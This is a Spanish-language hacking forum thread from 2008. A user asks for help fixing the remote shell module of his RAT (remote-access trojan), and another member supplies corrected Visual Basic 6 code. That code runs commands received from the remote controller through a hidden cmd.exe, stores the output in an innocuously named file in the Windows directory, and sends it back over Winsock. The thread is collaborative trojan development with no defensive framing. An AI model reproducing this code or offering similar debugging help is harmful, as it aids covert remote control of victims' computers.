elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  Ayuda con Shell Remota		0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: Ayuda con Shell Remota  (Leído 3,110 veces)
illuminat3d

Desconectado Desconectado

Mensajes: 231



Ver Perfil WWW
Ayuda con Shell Remota
« en: 2 Diciembre 2008, 13:46 pm »
Bueno estaba arreglando la Shell Remota de mi RAT, y como era output pues la quise hacer de este metodo :

Al recibir el comando del cliente.. la Shell del servidor ejecuta el comando y guarda el resultado en un texto, luego lista el texto en un Textbox y lo envia al cliente.

Mi error aqui :

Si hago el comando : "cmd /c " & data(1) & " > " & Environ("Windir") & "\TexTo.txt"
Guarda en el texto y todo bien.. pero si lo ejecuto desde el Servidor..

Shell "cmd /c " & data(1) & " > " & Environ("Windir") & "\TexTo.txt"

Lo ejecuta pero no se guarda en el texto..

Porque puede ser?

Saludos!
En línea
Trojan IRC - [ Prodigy Bot ]
Karcrack


Desconectado Desconectado

Mensajes: 2.416


Se siente observado ¬¬'


Ver Perfil
Re: Ayuda con Shell Remota
« Respuesta #1 en: 2 Diciembre 2008, 14:56 pm »
Pipes...
En línea
illuminat3d

Desconectado Desconectado

Mensajes: 231



Ver Perfil WWW
Re: Ayuda con Shell Remota
« Respuesta #2 en: 2 Diciembre 2008, 15:07 pm »
La que yo tenia anteriormente era algo asi :

Dim conten As String
conten = CMD(data(1))

Pero no funcionaba, ya que se lageaba al hacer por ej. ping 127.0.0.1 -t

Saludos!
« Última modificación: 2 Diciembre 2008, 16:29 pm por Sharki » En línea
Trojan IRC - [ Prodigy Bot ]
Karcrack


Desconectado Desconectado

Mensajes: 2.416


Se siente observado ¬¬'


Ver Perfil
Re: Ayuda con Shell Remota
« Respuesta #3 en: 2 Diciembre 2008, 16:37 pm »
Cita de: Sharki en  2 Diciembre 2008, 15:07 pm
La que yo tenia anteriormente era algo asi :

Dim conten As String
conten = CMD(data(1))

La de pipes.. como seria?

Saludos!

Pues es un metodo para obtener el resultado de un comando, usando Named Pipes (FIFO)

Si no recuerdo mal Cobein hizo un code que las utilizaba... creo que el post del titulo era algo asi: 'Jugaba a que hacia un troyano...' :xD

Saludos :D
En línea
illuminat3d

Desconectado Desconectado

Mensajes: 231



Ver Perfil WWW
Re: Ayuda con Shell Remota
« Respuesta #4 en: 2 Diciembre 2008, 16:42 pm »
Mmm gracias por la info KrackWar pero busque y no encontre nada sobre lo de Cobein  :xD 'Jugando a hacer un troyano', igualmente no habria alguna solucion sobre el metodo que puse arriba? en el primer post?

Saludos! :D
En línea
Trojan IRC - [ Prodigy Bot ]
Karcrack


Desconectado Desconectado

Mensajes: 2.416


Se siente observado ¬¬'


Ver Perfil
Re: Ayuda con Shell Remota
« Respuesta #5 en: 2 Diciembre 2008, 18:27 pm »
Cita de: Sharki en  2 Diciembre 2008, 16:42 pm
Mmm gracias por la info KrackWar pero busque y no encontre nada sobre lo de Cobein  :xD 'Jugando a hacer un troyano', igualmente no habria alguna solucion sobre el metodo que puse arriba? en el primer post?

Saludos! :D

Soy Karcrack :-\ :xD

Citar
Jugaba a que hacia un troyano =] (SOURCE)

Bueno, primero, para encontrar el error has de saber que hay en la variable Data(1)...

Saludos :D
En línea
illuminat3d

Desconectado Desconectado

Mensajes: 231



Ver Perfil WWW
Re: Ayuda con Shell Remota
« Respuesta #6 en: 2 Diciembre 2008, 21:10 pm »
Jaja perdona KarCracK  :xD
Si estuve hablando con cobein y me habia dicho el link.. pero vi el source y no l oentendi mucho como te diria.. y si no hay alguna forma de arreglar lo que puse yo.

No creo que fuera por el comando recibido.. pero mira te dejo mi code..
Citar

Kill Environ("windir") & "KB008.txt"
Sleep (500)
Shell "cmd /c " & data(1) & " > " & Environ("windir") & "KB008.txt", vbHide
Sleep (2000)

Open Environ("windir") & "KB008.txt" For Input As #1
TextShell.Text = Input(LOF(1), 1)
Close #1

WS.SendData "ComandoShell|" & TextShell.Text

Ya probe tambien cambiandole Environ ("windir") por "C:\" y tampoco funciona.

Saludos! :-(
« Última modificación: 2 Diciembre 2008, 21:16 pm por Sharki » En línea
Trojan IRC - [ Prodigy Bot ]
Karcrack


Desconectado Desconectado

Mensajes: 2.416


Se siente observado ¬¬'


Ver Perfil
Re: Ayuda con Shell Remota
« Respuesta #7 en: 2 Diciembre 2008, 21:50 pm »
Bueno, la verdad es que no veo fallo en ese code :-\

Pero de todas formas, porque no habres el fichero .txt de forma binaria?
Ademas, porque gastar un Text? Podrias gastar una variable no? :P

Bueno, asi es como yo lo dejaria (Ahora no estoy en el SobreMesa, asi que no puedo probarlo..):
Código
  1. Kill Environ("windir") & "KB008.txt"
  2. Sleep (500)
  3. Shell "cmd /c " & data(1) & " > " & Environ("windir") & "KB008.txt", vbHide
  4. Sleep (2000)
  5.  
  6. Open Environ("windir") & "KB008.txt" For binary As #1
  7. TextShell.Text = space$(LOF(1))
  8. Get #1,,textshell.text
  9. Close #1
  10.  
  11. WS.SendData "ComandoShell|" & TextShell.Text

Saludos :D
En línea
illuminat3d

Desconectado Desconectado

Mensajes: 231



Ver Perfil WWW
Re: Ayuda con Shell Remota
« Respuesta #8 en: 2 Diciembre 2008, 21:59 pm »
Se agradece el code modificado !  ;)

Pero me salio un error de, variable requerida.. no se puede asignar esta expresion.

Error :

Open Environ("windir") & "KB008.txt" For binary As #1
TextShell.Text = space$(LOF(1))
Get #1,,textshell.text
Close #1

Probe agregandole :

Dim Comando as string
y luego cambiar eso por Comando..
y al llegar los datos salia ComandoShell (?)  :xD

Espero que me puedas ayudar!
Saludos! :(
En línea
Trojan IRC - [ Prodigy Bot ]
Karcrack


Desconectado Desconectado

Mensajes: 2.416


Se siente observado ¬¬'


Ver Perfil
Re: Ayuda con Shell Remota
« Respuesta #9 en: 2 Diciembre 2008, 22:20 pm »
Código
  1.     Dim sCommand    As String
  2.  
  3.     Kill Environ("windir") & "KB008.txt"
  4.     Sleep (500)
  5.     Shell "cmd /c " & Data(1) & " > " & Environ("windir") & "KB008.txt", vbHide
  6.     Sleep (2000)
  7.  
  8.     Open Environ("windir") & "KB008.txt" For Binary As #1
  9.         sCommand = Space$(LOF(1))
  10.         Get #1, , sCommand
  11.     Close #1
  12.  
  13.     WS.SendData "ComandoShell|" & sCommand
  14.  

No entendi la ultima parte :-\... dices que solo se envia "ComandoShell|" ?

Saludos :D
En línea
Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines